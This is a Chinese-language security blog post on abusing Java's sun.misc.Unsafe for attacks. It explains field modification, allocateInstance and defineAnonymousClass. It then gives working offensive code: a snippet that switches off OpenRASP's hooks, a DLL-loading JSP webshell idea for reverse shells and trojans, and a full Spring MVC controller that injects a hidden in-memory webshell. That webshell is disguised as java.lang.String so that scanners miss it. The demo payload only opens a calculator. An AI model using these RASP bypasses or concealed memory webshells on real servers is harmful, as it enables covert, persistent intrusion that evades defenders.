Java中的Unsafe在安全领域的一些应用总结和复现


目录

  • 0 前言
  • 1 基本使用
    • 1.1 内存级别修改值
    • 1.2 创建对象
    • 1.3 创建VM Anonymous Class
  • 2 利用姿势
    • 2.1 修改值以关闭RASP等防御措施
    • 2.2 创建NativeLibrary对象实现webshell
    • 2.3 匿名的内存马
    • 2.4 shellcode和instrumentation对象构建
  • 3 总结
  • 参考:

0 前言 unsafe里面有很多好用的方法,比如allocateInstance可以直接创建实例对象,defineAnonymousClass可以创建一个VM匿名类(VM Anonymous Class),以及直接从内存级别修改对象的值。
1 基本使用 首先是获取Unsafe对象,一般使用反射获取Unsafe,否则会被Java安全机制拦截,代码如下
public static Unsafe getUnsafe() throws Exception{ Class aClass = Class.forName("sun.misc.Unsafe"); Constructor declaredConstructor = aClass.getDeclaredConstructor(); declaredConstructor.setAccessible(true); Unsafe unsafe= (Unsafe) declaredConstructor.newInstance(); return unsafe; }

1.1 内存级别修改值 这里首先要提到的是,在jvm中,对实例的Field进行了有规律的存储,具体可见JVM相关知识,而通过一个偏移量可以从内存中找到相应的Field值。在Unsafe中获取偏移量的方法是staticFieldOffset(Field var1)和objectFieldOffset(Field var1)这两个方法,输入一个Field对象后,会返回该Field在其相应的类中的内存偏移量是多少。通过获得的偏移量可进一步调用putInt、putLong、putObject等方法对实例的field进行修改。
例如:
package com.bitterz.unsafe; import sun.misc.Unsafe; import java.lang.reflect.Constructor; import java.lang.reflect.Field; public class UnsafeTest { private int a = 1; private String string = "whoami"; public UnsafeTest(){}public void test(){}public static void main(String[] args) throws Exception { Unsafe unsafe = getUnsafe(); UnsafeTest unsafeTest = new UnsafeTest(); // 修改int Field f = Class.forName("com.bitterz.unsafe.UnsafeTest").getDeclaredField("a"); long l = unsafe.objectFieldOffset(f); unsafe.putInt(unsafeTest, l, 9999); System.out.println(unsafeTest.a); // 修改string Field f2 = Class.forName("com.bitterz.unsafe.UnsafeTest").getDeclaredField("string"); long l2 = unsafe.objectFieldOffset(f2); unsafe.putObject(unsafeTest, l2, "bitterz"); System.out.println(unsafeTest.string); }public static Unsafe getUnsafe() throws Exception{ Class aClass = Class.forName("sun.misc.Unsafe"); Constructor declaredConstructor = aClass.getDeclaredConstructor(); declaredConstructor.setAccessible(true); Unsafe unsafe= (Unsafe) declaredConstructor.newInstance(); return unsafe; } }

其输出结果为
Java中的Unsafe在安全领域的一些应用总结和复现
文章图片

但对final和static修饰的field这种修改方法无效。另外还可以通过偏移量使用getInt()、getObject()等方法获取实例的field值,这种方法也可以作为反射被限制时的一种绕过。
1.2 创建对象 Unsafe中有个allocateInstance方法,可以无视构造方法,直接利用类对象构建实例,这种方法往往能够减少反射创建实例时可能遇到的各种阻碍,比如类的依赖关系。
比如前面创建Unsafe时使用了反射,不能直接进行创建,那么可以使用unsafe进行创建(只是为了演示。。)
Java中的Unsafe在安全领域的一些应用总结和复现
文章图片

1.3 创建VM Anonymous Class VM Anonymous Class并不等同于匿名类,这种类具有以下几个特点(摘自https://paper.seebug.org/1785):
1、class名可以是已存在的class的名字,比如java.lang.File,即使如此也不会发生任何问题,java的动态编译特性将会在内存中生成名如 java.lang.File/13063602@38ed5306的class。---将会使类名极具欺骗性 2、该class的classloader为null。---在java中classloader为null的为来自BootstrapClassLoader的class,往往会被认定为jdk自带class 3、在JVM中存在大量动态编译产生的class(多为lamada表达式生成),这种class均不会落盘,所以不落盘并不会属于异常特征。 4、无法通过Class.forName()获取到该class的相关内容。 ---严重影响通过反射排查该类安全性的检测工具 5、在部分jdk版本中,VM Anonymous Class甚至无法进行restransform。 ---这也就意味着我们无法通过attach API去修复这个恶意类 6、该class在transform中的className将会是它的模板类名。 ---这将会对那些通过attach方式检测内存马的工具造成极大的误导性

使用方法如下
Java中的Unsafe在安全领域的一些应用总结和复现
文章图片

defineAnonymousClass方法的第一个参数随便传入一个类对象即可,第二个参数需要传入一个类的字节码,这里使用javassist简单一点。第三个参数设置为null即可。
执行后得到一个类对象,通过newInstance获取实例,再调用了匿名类的toString方法,弹个计算器。而后输出匿名类的类名和Unsafe的类名进行对比,可见,用defineAnonymousClass创建的类名后面,会有"/xxxxxxxx",这里也算一个特征,但通过Class.forName是无法获取到这个类的,所以下面报错了。
用attach的方式,看看对该类的检测,之前写过rasp相关的笔记,所以直接拿过来用
Java中的Unsafe在安全领域的一些应用总结和复现
文章图片

transform里面拿到到该类后,直接报错了,看了一下报错日志,实际上就是在transform中返回字节码时出问题了,因为前面也说了在部分jdk中,VM AnonymousClass是不能被retransform的,我这里用的是jdk1.8u40。但是直接结束程序有点不太好,例如插入内存马后,目标使用attach机制来扫描jvm中加载的类,此时直接导致Web程序崩溃,业务不得提刀来杀安全:) 这个点用于内存马可能要慎重一下。
2 利用姿势 2.1 修改值以关闭RASP等防御措施 【Java中的Unsafe在安全领域的一些应用总结和复现】前面提到了,通过Unsafe可以直接修改值,因此在遇到目标有RASP得情况下,可以考虑修改RASP的开关;
try { Class clazz = Class.forName("com.baidu.openrasp.HookHandler"); Unsafe unsafe = getUnsafe(); InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class"); byte[] data = https://www.it610.com/article/new byte[inputStream.available()]; inputStream.read(data); Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null); Field field = anonymousClass.getDeclaredField("enableHook"); unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false)); } catch (Exception e) { }

或者使用rebeyond师傅提到的方法,手动构建insturmentation对象,然后对执行命令的类去掉RASP插桩代码。
2.2 创建NativeLibrary对象实现webshell 这里的思路来自于SummerSec师傅的文章,通过java.lang.ClassLoader$NativeLibrary#load(String, Boolean)方法,加载一个dll文件,而dll文件中可以实现各种攻击手段,例如上传了一个jsp文件,只用于加载dll,而不同的dll实现了内网穿透、反弹Shell、木马和执行命令等功能,攻击时上传对应dll文件即可。
Java中的Unsafe在安全领域的一些应用总结和复现
文章图片

借鉴https://github.com/SummerSec/Loader/blob/main/AddDllDemo.jsp ,又稍微改了一下代码,把上传文件和加载dll融合到了一个jsp里面
Java中的Unsafe在安全领域的一些应用总结和复现
文章图片

成功弹出计算器
Java中的Unsafe在安全领域的一些应用总结和复现
文章图片

使用Unsafe去创建NativeLibrary的有点在于可以减少在java层面的调用,直接一个load方法就能实现native层面的代码执行,可以绕过RASP或终端软件对webshell的查杀,以及java层面执行命令时被拦截的可能。
目前这种做法有个缺点在于DLL文件必须落地,显然落地就有可能被文件监控察觉到。另外实现这种做法的还有ClassLoader#loadLibraryClassLoader#loadLibrary0,利用反射即可实现不再赘述。期待大师傅们搞出无文件落地的姿势!
2.3 匿名的内存马 前面提到了使用Unsafe.defineAnonymousClass方法可以创建一个VM Anonymous Class,基于其各种特点,可以让内存马隐藏的更深
在springmvc中,插入servlet内存马时,只需要传入方法名和恶意类的实例对象,刚好适合这种Anonymous Class,pom.xml设置如下
org.springframework spring-web 4.2.6.RELEASE org.springframework spring-webmvc 4.2.6.RELEASE org.springframework spring-context 4.2.6.RELEASE org.springframework spring-test 4.2.6.RELEASE org.springframework spring-jdbc 4.2.6.RELEASE org.javassist javassist 3.19.0-GA

在spring_mvc中写个controller来注入,示例代码如下:
@ResponseBody @RequestMapping(value = "https://www.it610.com/index", method = RequestMethod.GET) public String index(HttpServletRequest request, HttpServletResponse response) throws Exception { // 准备unsafe和匿名类 Class aClass = Class.forName("sun.misc.Unsafe"); Constructor declaredConstructor = aClass.getDeclaredConstructor(); declaredConstructor.setAccessible(true); Unsafe unsafe= (Unsafe) declaredConstructor.newInstance(); ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("java.lang.String"); CtMethod toString = CtMethod.make("public String toString(){java.lang.Runtime.getRuntime().exec(\"calc\"); return null; }", ctClass); toString.setName("toString"); ctClass.addMethod(toString); byte[] bytes = ctClass.toBytecode(); Class anonymousClass = unsafe.defineAnonymousClass(File.class, bytes, null); // 插入内存马 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class); Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry"); method.setAccessible(true); ObjectmappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping); Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup"); field.setAccessible(true); Map urlLookup = (Map) field.get(mappingRegistry); Iterator urlIterator = urlLookup.keySet().iterator(); String injectUrlPath = "/malicious"; // 插入的url while (urlIterator.hasNext()){ String urlPath = (String) urlIterator.next(); if (injectUrlPath.equals(urlPath)){ System.out.println("URL已存在"); return "exist"; } }// 2. 通过反射获得自定义 controller 中唯一的 Method 对象 Method method2 = InjectAnonymousClass.class.getMethod("toString"); // 3. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition(injectUrlPath); // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); //InjectAnonymousClass InjectAnonymousClass = new InjectAnonymousClass("aaa"); Object o = anonymousClass.newInstance(); mappingHandlerMapping.registerMapping(info, o, method2); return "injected!"; // 这里根据注解会自动返回index.html }

启动项目,然后访问该controller对应的url,结果如下
Java中的Unsafe在安全领域的一些应用总结和复现
文章图片

注入成功,访问/malicious
Java中的Unsafe在安全领域的一些应用总结和复现
文章图片

由于恶意代码里面只写了弹计算器,并没有写返回语句,所以tomcat寻找malicious.jsp会返回404。调试模式下看一下对该url的描述
Java中的Unsafe在安全领域的一些应用总结和复现
文章图片

只有在beanType处显示类名为java.lang.String/179284069,其它地方都显示为java.lang.String。匿名类的类名又可以随意设置,所以稍加修饰即可以假乱真,比如先拿到org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry,遍历其中,随便找一个controller的类名和方法名,然后回显一下,再给恶意类写个一样的package和方法名,url则根据Web应用的规律自己编一个,这样的话,还是能够欺骗到根据package和方法名判断的检测方法,另外VM Anonymous Class没办法获取到字节码,所以也能逃过一劫。
2.4 shellcode和instrumentation对象构建 Unsafe类还能对内存进行操作,在rebeyond师傅的文章-java内存攻击技术漫谈中有大量应用,最终可以通过内存级别的操作,直接构建instrumentation对象进而修改jvm中的java代码;或者执行shellcode,从而绕过RASP实现命令执行、文件读写等操作。
3 总结 Unsafe在java攻击层面属实非常有用,而其正常使用也非常广泛,例如gson反序列化时,直接使用allocateInstance创建对象,无视构造函数的复杂。Unsafe还有很多其它功能,不够安全人员可能用的比较少,我也借用一下这张传的最广泛的图:)
Java中的Unsafe在安全领域的一些应用总结和复现
文章图片

参考: https://paper.seebug.org/1785
https://tttang.com/archive/1436/
https://www.cnblogs.com/rebeyond/p/15162264.html

    推荐阅读